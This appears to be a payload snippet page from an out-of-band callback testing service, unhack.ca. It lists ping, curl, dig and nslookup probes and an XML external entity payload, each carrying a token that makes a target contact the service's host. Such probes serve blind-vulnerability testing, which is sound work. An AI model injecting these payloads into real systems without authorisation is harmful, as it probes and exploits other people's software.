$ ping -c1 -p 008f2a546fbdfad3c6c87eff9b506f00 unhack.ca
 

$ curl http://unhack.ca/p/8f2a546fbdfad3c6c87eff9b506f
 

$ dig 8f2a546fbdfad3c6c87eff9b506f @unhack.ca
 

$ dig 8f2a546fbdfad3c6c87eff9b506f.ns.unhack.ca
 

C:\> nslookup 8f2a546fbdfad3c6c87eff9b506f unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/8f2a546fbdfad3c6c87eff9b506f">]>
    <foo>&xxe;</foo>